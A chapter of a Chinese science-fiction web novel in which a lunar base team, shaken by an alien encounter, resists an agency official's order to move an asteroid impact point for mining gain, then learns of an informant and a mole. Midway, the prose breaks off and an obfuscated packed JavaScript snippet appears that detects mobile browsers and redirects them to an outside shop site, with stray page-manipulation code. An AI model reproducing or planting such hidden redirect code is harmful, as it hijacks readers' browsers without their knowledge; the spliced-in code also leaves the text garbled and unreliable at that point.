基地项目组控制室内,大家都换回了自己的便服。
但气氛,异常紧绷。
王立缩在转椅里,手指在膝盖上敲着只有他自己听得懂的节拍;小刘抱着手臂站在屏幕边缘,眉头拧成一个死结;小董垂着眼皮,像一尊被抽走了魂的泥塑;高之静靠在角落的储物柜旁,指间转着一支没盖笔帽的记号笔,笔杆在金属柜面上磕出细碎的脆响。
只有苏星河,沉默、冷静,没有任何微小的动作,没发出任何细碎的声响。
身份识别后,气闸门自动开启。当时蔚蓝走进来后,所有人的目光都钉在她身上。
她看了苏星河一眼。但他避开了她的视线。
没人说话。
在月球核心里的经历的一切画面,还在每个人的视网膜上灼烧。
十七个蝶蛹状太空舱体排列成的几何阵列,那个从幽蓝转作血红的苏醒信号,那台缓缓旋转的、由半透明圆环嵌套而成的巨大以太引擎……
还有夏娅和桀卡三米高的身影,像两尊从神话里走出来的活神像,俯视着他们。
“这些信息关系到整个太阳系的未来。”在耳边,萦绕不去。
时蔚蓝拉开椅子坐下,金属摩擦地面发出刺耳的锐响。她把个人终端搁在桌上,屏幕亮了一下,显示还有四十七分钟就要收到来自地球的LVKT最新数据了。
毁神星任务的最终执行方案,也快确认了。
“师姐,”王立率先憋不住了,声音压得比静电噪音还低,“你说……那些东西,真的在月球里面待了几亿年?”
时蔚蓝看了他一眼。
这个问题踩在了红线上,但红线是他们共同画下的。六个人都站在了那个透明地板上,都透过脚下的地板望向了下方深邃的黑暗,都感受到了那股失重与战栗。
区别在于,他们四个只看到了景象,而她接收了更多。
但苏星河,一定对自己还有所隐瞒。
“不该问的别问。”小刘在旁边补了一句,眼神却往时蔚蓝那边飘,同样是没消化完的惊疑。
“我就是确认一下咱们的精神状态。”王立举起双手做投降状,“毕竟咱们刚才,也就刚落地月球不久,就集体去月球核心区域旅了个游,见证了外星文明遗产和太阳系未来。现在,我需要一点心理建设来面对接下来的小行星撞击任务。”
“你的存在本身就是心理建设的反面教材。”小刘睥睨。
“那总比某些人强。”王立压低声音,“回来后一声不吭,活像被格式化了一样。”
小董终于抬起眼皮,扫了王立一眼:“你话这么多,是因为害怕。”
“嘿,我害怕?”王立的声音陡然拔高半度,又在苏星河投来的目光里压了回去,“难得董研究员对我这样评价。好吧,我确实害怕。先不说那些空的太空舱长那样儿,还能发光变红。还有,那两个三米高的外星人,身高还能伸缩自如。我就问你,问你们,你们怕不怕?”
“怕。”高之静的声音从角落传来,平静得不像话。
王立:“听听,最是闷葫芦的高之静,都表达个人感受了。”
高之静:“是的。我怕。我怕的是我们根本不知道这些意味着什么。”
时蔚蓝嘴角抽了一下。这种斗嘴功夫倒是让紧绷的气氛放松了半寸,但也只有半寸。
她下意识地摸向胸口,吊坠隔着内衬传来微弱的温度,像在提醒她:那个巨大的几何意识体还在旋转,那些光的河流还在某个超越感官的维度里奔涌。
桀卡的警告也在她耳边回响。
“不要告诉任何人,尤其是你的队友。”
苏星河转过头来看时蔚蓝。
两人的视线在半空中撞了一下,又立马弹开。
时蔚蓝读不懂他眼睛里的东西,但那里面藏着还不可告人的秘密。他也在保守秘密。
“开始吧。”他说,“撞击任务的。”
控制室的主屏幕亮起,毁神星阿波菲斯的三维轨道模型缓缓旋转。
那是一颗直径约三百四十米的近地小行星,像一个被宇宙随手丢弃的石块,却在三年后可能给地球带来灭顶之灾。SN-NEO撞击载荷的参数表在右侧展开:质量、速度、撞击角度、预期动量转移量,每一个数字都经过了反复核算。
时蔚蓝强迫自己的大脑切回工作模式。引力波耦合模型、预补偿算法、撞击后的轨道偏转计算……这些才是此刻该占据她认知带宽的东西。
蓦地,警报响了。
不是危险警报,是高权限通讯接入提示。屏幕上跳出一行红色字样:
【联盟航天局总部】。
苏星河脸色一沉。
他伸手按下接听键。一个视频通话在控制室中央投放。
画面里是一个时蔚蓝从未见过,但立刻就能认出身份的男性:李副局。
此时,她得知了李副局的真实职位属性。联盟航天局主管地外矿产资源开发的副局长。
就是他,直接毙了苏星河提出的任何一种合作方案。
“苏专家。”李副局的声音从扬声器里传出,带着经过官方认证的分贝和不容置疑的节奏,“毁神星任务的轨道参数需要修订。新的撞击目标点坐标已经下发到你们的终端。”
时蔚蓝的手指僵在键盘上方。
“修订?”苏星河站起来,声音保持着职业性的平稳,“最终方案三天前就已过审。撞击点选在阿波菲斯的质心偏北十五度,可以最大化动量转移效率。”
“情况有变。”视频通话画面里的李副局缓缓前倾,居高临下,“我们在最新的遥感测绘中发现,阿波菲斯表面存在高浓度的铂族金属矿脉。如果按原方案撞击,小行星碎裂后的主要残骸会进入远日轨道,这样后续矿产开采会更麻烦。”
“新的目标点在小行星南半球,”李副局继续道,“撞击后的轨道计算显示,残骸群会进入一个更容易被后续捕获的近地轨道。这样一来,牵引阶段我们就能降低成本进行商业开采。”
控制室里安静得能听见设备运转的嗡嗡声。
时蔚蓝打开个人终端,新的参数文件已经自动下载。她扫了一眼轨道数据,瞳孔猛地收缩。
时蔚蓝:“这个方案有问题。”
全场的视线再次聚集过来。画面里的李副局也转向她,眼神如同审视一个擅自插嘴的技术员。
“你是?”
“时蔚蓝。天体物理研究所首席顾问,引力波耦合模型设计者。”
“哦,我知道你。项目组新招的。”李副局的声音里没有任何情绪,“你说。”
被说成项目组“新招的”,时蔚蓝表情异样看向项目组负责人苏星河。
苏星河只得先无奈摇摇头,压声道:“回头细说。”
时蔚蓝把数据投到主屏幕上,手指在轨迹曲线上圈出一个节点:“新方案把撞击点南移了二十三度。这会导致两个直接后果。第一,撞击角度偏离最优解,动量转移量下降百分之十二,阿波菲斯可能不会按预定轨道偏转。第二,”她放大了一张引力场分析图,“南半球的物质密度不均匀,撞击后碎片云的扩散方向无法有效预测。预估,有一颗次级碎片的轨迹预演是朝着穿过月球轨道半径里……”
她停顿了一下,让每个字都砸进空气里:“我们的轨道。”
李副局的表情没有变化。但他的眼皮下意识地眨了一下。
“理论风险。”他说,“工程层面完全可以规避。”
“这不是理论风险。”时蔚蓝的声音硬了起来,“这是轨道力学的基本约束。把撞击点移到南半球,本质上是用任务成功率去换矿产开采的经济利益。既要又要,属实增加整体撞击风险系数。”
“注意你的措辞!”李副局的语调降了两度,“联盟航天局的一切决策都以科学评估为基础。”
“那请出示支持这个决策的独立科学评审报告。”时蔚蓝直视着视频通话里的眼睛,“必须是由独立机构出具的、有信用背书的、公开的同行评审。”
视频通话那端沉默了三秒。
这三秒长得像一个世纪。
“苏专家。”李副局终于开口,但视线转向了苏星河,“项目组是否需要服从总部统一指挥。”
时蔚蓝转过头看他。
苏星河站在原地,背脊挺直,但她能看见他垂在身侧的手握成了拳。他的脸上没有任何表情变化,像是在用全部面部肌肉维持着一张面具。
他刚刚才在月球核心目睹了超越人类认知的存在,现在又要面对来自地球的政治绞杀。两种压力的叠加,几乎要从他的毛孔里渗出来。
“我们需要时间评估新参数。”他说,声音沙哑得不像平时。
“二十四小时。”李副局说,“之后,执行新方案。不接受异议。”
视频通话被直接挂断。
控制室里的空气重新流动起来,但带着一种让人窒息的沉重。
时蔚蓝坐回椅子上,发现自己的掌心全是汗。
“艹。”王立打破了沉默,声音里带着压抑不住的火气,“这老狐狸摆明了要拿我们的命去换他的政绩。”
“王立。”小刘低声警告。
“我说错了吗?南半球那点矿产值几个钱?把我们全卖了也换不回一颗小行星!”
“你说得对。”苏星河突然开口,所有人都愣了一下。他转过身,脸上依然没什么表情,但眼底有一丝时蔚蓝从未见过的疲惫,“但他是总部。我们不服从,整个项目组会被撤换。下一批人可能连风险评估都不会做。”
“那就眼睁睁看着他瞎搞?”
“我没这么说。”
苏星河的目光扫过房间里的每一个人,最后停在时蔚蓝脸上。那眼神里有询问,有求助,还有一种深不见底的矛盾。
他们在月球核心共同经历了超出认知的事件,现在又要共同面对来自人类世界的政治博弈。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17609927|205910||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>这种荒诞的错位感,几乎要把空气都撕裂了。
时蔚蓝站起身:“我需要再算一遍。原始数据,不参考他们给的新模型。”
“我帮你。”苏星河说。
其他人陆续散去,各自带着不同的心思。王立走在最后,在气闸门口停了一下,回头看了时蔚蓝一眼。那个眼神里有话想说,但终究没开口。
三小时后,时蔚蓝揉着酸胀的眼睛从屏幕前抬起头。苏星河坐在她旁边,两人的肩膀隔着一拳的距离。计算结果确认了她的判断:新方案的失败概率比原方案高出近三倍。
“你看这个。”她把引力场扰动模拟图放大到全屏。一条红色的虚线从阿波菲斯南半球的撞击点延伸出来,穿过碎片云,拐了一个几乎不可能的大弯,最终与一条淡蓝色的轨道相交。
那淡蓝色的轨道标注着“月球轨道半径”。
苏星河盯着那条红线看了五秒。然后他把脸埋进手掌里,指缝间漏出一声低沉的叹息。
“碎片的相对速度?”
“每秒十二公里。”
“如果防御系统正常运作呢?”
“基地有自动规避推进器和轨道预警系统。”时蔚蓝的声音没有起伏,“但碎片群的总质量超过两百吨,分散面积太大。哪怕只有一颗拳头大的石块击中安全隔离舱,我们所有人都会变成太空垃圾。”
苏星河抬起头。他的眼睛里布满血丝,像是很久没有好好休息过。但他看着她的目光依然清晰,那种清晰背后有一种时蔚蓝不愿深想的东西——是信任,还是更沉重的什么?
“你打算怎么办?”他问。
“我打算把这份分析报告发到每一个人的终端上。”时蔚蓝关掉模拟图,“让每个组员都知道我们在面对什么。”
“你这样做等于公开和李副局对抗。”
“我不在乎。”她转头直视他,“科学不会因为谁的官大就变得正确。如果撞击参数会导致任务处于极高风险状态。那每一个参与者都有权知道真相。”
苏星河看了她很久,久到终端的屏幕自动暗了下去。然后他伸出手,覆在她放在键盘上的那只手上。他的掌心冰凉,触碰却带着不容错认的力度。
“蔚蓝,”他的声音轻得像在自言自语,“有时候我真不知道你这份固执是从哪里来的。”
“你自己说过,我是首席顾问。顾问的职责就是告诉决策者什么是对的,哪怕他们不想听。”
他笑了一下,那笑容里有一大半是苦涩,还有一小半是她读不懂的情绪。
他收回了手。
“有没有可能,”苏星河低声说,“我们在执行的时候做微调?名义上按他们的参数,实际发射时修正回最优解?”
“载荷的制导系统有独立校验。”时蔚蓝摇头,“除非我们能黑进载荷的飞控模块。”
“那不可能。安全协议是物理隔离的。”
两人陷入沉默。
气闸门突然打开,王立跌跌撞撞走进来,脸色煞白。
“师姐,老苏,你们得出来一下。”他的声音在发抖,“刚才……刚才有人联系我。地球上的号码,加密线路。他说……说让我留意项目组内部的情况,特别是你们两个在月球上的动向。报酬是六位数。”
时蔚蓝和苏星河同时站了起来。
“谁?”苏星河的声音陡然收紧。
“他没说名字。”王立的喉结滚动了一下,“但我知道是谁的人。那个说话的方式,跟李副局在视频里的语气一模一样。”
苏星河的手猛地攥紧控制台边缘,指节泛出青白色。
就在这时,他的个人终端震了一下。
不是通讯接入,不是邮件提醒。是那种只有最高级别加密信息才会发出的、几乎不可察觉的振动模式。
他低头看了一眼屏幕,脸色在瞬间变得惨白。
时蔚蓝从未见过他这种表情。不是震惊,不是恐惧。是一种被最信任的人从背后捅了一刀的、混合了愤怒和悲伤的神情。
“怎么了?”她问。
苏星河慢慢举起终端,屏幕对着她。上面只有一行字,发件人显示为“未知”,内容为:
【小心你身边的高层内鬼。】
时蔚蓝盯着那行字,感到一阵寒意从脚底直窜上脊椎。
控制室的灯光在她视野边缘泛起了虚影,像一张沉默的脸。而在某个看不见的角落里,有人在看着他们。
每一个动作,每一句话,每一次计算。
“我们身边。”她重复了一遍这四个字,声音低得几乎听不见。
苏星河缓缓放下终端,眉头紧锁。但他的手开始颤抖。
“蔚蓝,”他说,“从现在开始,任何数据都不要经过基地的公共网络。任何对话,都当作有人在监听。”
她看着他,忽然意识到:这场关于一颗小行星的战斗,才刚刚拉开序幕。
而真正的敌人,可能根本不在外太空。